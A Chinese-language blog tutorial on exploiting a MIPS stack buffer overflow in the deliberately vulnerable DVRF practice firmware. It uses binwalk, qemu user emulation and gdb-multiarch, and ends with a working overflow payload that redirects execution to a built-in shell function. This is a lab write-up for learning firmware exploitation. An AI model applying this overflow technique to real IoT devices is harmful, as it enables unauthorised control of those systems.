IOT滲透實(shí)驗(yàn)入門--動(dòng)態(tài)分析IOT固件( 1 初探MIPS架構(gòu) )

DVRF固件

這是網(wǎng)友自制的一個(gè)充滿漏洞的固件,以供學(xué)習(xí)使用

下載

git clone https://github.com/praetorian-code/DVRF.git

安裝gdb

sudo apt install gdb-multiarch

安裝gef

wget https://github.com/hugsy/gef/raw/master/gef.py
echo source "gef.py的具體路徑"/gef.py >> ~/.gdbinit

安裝gef分析使用到的python第三方庫

 sudo pip3 install capstone unicorn keystone-engine

對固件進(jìn)行分析

cd DVRF/Firmware
binwalk -e -t DVRF_v03.bin 
固件提取信息
cd _DVRF_v03.bin.extracted/squashfs-root

分析得到的文件夾中有個(gè) pwnable 文件夾,里面存放了相關(guān)的漏洞程序,我們選取緩沖區(qū)漏洞程序stack_bof_01進(jìn)行實(shí)驗(yàn)。首先使用readelf命令查看該程序的架構(gòu)。

readelf -h pwnable/Intro/stack_bof_01
漏洞程序的相關(guān)信息

可以看到該程序的架構(gòu)為MIPS,小端存儲(chǔ)模式(后續(xù)看內(nèi)存信息的時(shí)候要注意)

安裝qemu-mipsel-static

sudo apt-get install qemu-user-stati

拷貝qemu-mipsel-static到當(dāng)前目錄,然后配合chroot虛擬執(zhí)行stack_bof_01固件

分析漏洞程序

漏洞程序代碼

strcpy() 代碼分析

可以看到在main函數(shù)中,調(diào)用了strcpy函數(shù),將用戶輸入復(fù)制到buf中,我們看看strcpy函數(shù)的匯編代碼


strcpy匯編代碼

由于該固件架構(gòu)是MIPS架構(gòu),匯編指令集和X86架構(gòu)的有所不同,a0寄存器存儲(chǔ)了buf的起始地址,a1寄存器存儲(chǔ)了用戶輸入的起始地址。該代碼的功能:每次從用戶輸入從取一個(gè)字符,查看是否是 /0 (字符串結(jié)尾標(biāo)志符),然后將其存到buf中,因此并沒有進(jìn)行邊界檢查,造成棧溢出的可能。值得注意的是,MIPS架構(gòu)使用了流水線技術(shù)進(jìn)行加速,在執(zhí)行bnez指令時(shí),同時(shí)在執(zhí)行sb指令,只是執(zhí)行的階段不同。X86架構(gòu)中若bnez指令進(jìn)行跳轉(zhuǎn)時(shí),則sb指令執(zhí)行會(huì)被無效掉,但在MIPS架構(gòu)中,sb指令執(zhí)行后,并不會(huì)被無效掉。該代碼利用該特性,循環(huán)得進(jìn)行復(fù)制。

棧溢出分析過程

根據(jù)上述分析,我們可以增加輸入長度,當(dāng)長度超過200時(shí),則發(fā)生棧溢出,將main函數(shù)在棧中的一些信息覆蓋掉。因此只要我們覆蓋掉main函數(shù)的返回地址時(shí),則可以劫持程序流,獲得控制權(quán)。

main函數(shù)堆棧布局

MIPS 架構(gòu)上函數(shù)調(diào)用過程中的堆棧和棧幀
推薦看看上面這篇鏈接,了解一下MIPS架構(gòu)的堆棧布局是怎么樣的

由于main函數(shù)中調(diào)用了strcpy函數(shù),因此main函數(shù)并非葉子函數(shù),即最后返回時(shí),要從堆棧中彈出return address到 ra 寄存器,再使用跳轉(zhuǎn)指令進(jìn)行跳轉(zhuǎn)

堆棧布局
main函數(shù)布局堆棧的匯編代碼

可以看到,在這段代碼中,首先給堆棧擴(kuò)充了232個(gè)字節(jié),即此時(shí)sp=base - 232(base為原sp地址),然后將ra存在了base - 4的位置,將s8存在base - 8的位置,將gp存在base - 216的位置,將a0存在base的位置,a1存在base+4的位置,而base - 208 到 base - 8 這200個(gè)字節(jié)則存著buf,因此我們只需要溢出buf 8個(gè)字節(jié),即可將ra修改為我們所需要的目標(biāo)地址

由于在本次實(shí)驗(yàn)中,已經(jīng)提供了shellcode,因此我們只需要找到shellcode的起始地址即可,查看dat_shell函數(shù)的地址


dat_shell匯編代碼

可以看到其啟示地址為0x00400950,因此我們的buf為 ‘A’ * 204 + '\x50\x09\x40\x00',記住存儲(chǔ)模式是小端。

執(zhí)行漏洞程序

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"

執(zhí)行后如下


執(zhí)行后結(jié)果

發(fā)生了段錯(cuò)誤,并沒有執(zhí)行到shellcode,讓我們繼續(xù)調(diào)試看看是什么情況

調(diào)試漏洞程序

sudo chroot . ./qemu-mipsel-static -g 1243 ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"

另開一個(gè)命令行執(zhí)行

gdb-multiarch pwnable/Intro/stack_bof_01

進(jìn)入gdb后,將架構(gòu)轉(zhuǎn)為MIPS架構(gòu)

set architecture mips

開始調(diào)試漏洞程序

target remote 127.0.0.1:1243

在main函數(shù)處打個(gè)斷點(diǎn)并執(zhí)行到該斷點(diǎn)處

b main
c
運(yùn)行狀態(tài).png

查看main函數(shù)的匯編代碼

disassem main

可以看到在main函數(shù)匯編代碼的最后有個(gè)jr ra指令


main函數(shù)匯編代碼.png

我們在該處下一個(gè)斷點(diǎn),看看ra寄存器中是否是我們的shellcode的起始地址,并執(zhí)行到該處

b* 0x00400948
c
image.png

可以看到ra中確實(shí)是我們的shellcode的地址


image.png

最后執(zhí)行該指令應(yīng)該會(huì)跳到dat_shell上。查找了資料,好像說是會(huì)有3條gp指令影響,最終的shellcode地址為0x0040095c,執(zhí)行一下看看

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x5c\x09\x40\x00')")"
結(jié)果圖

成功獲得shell!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容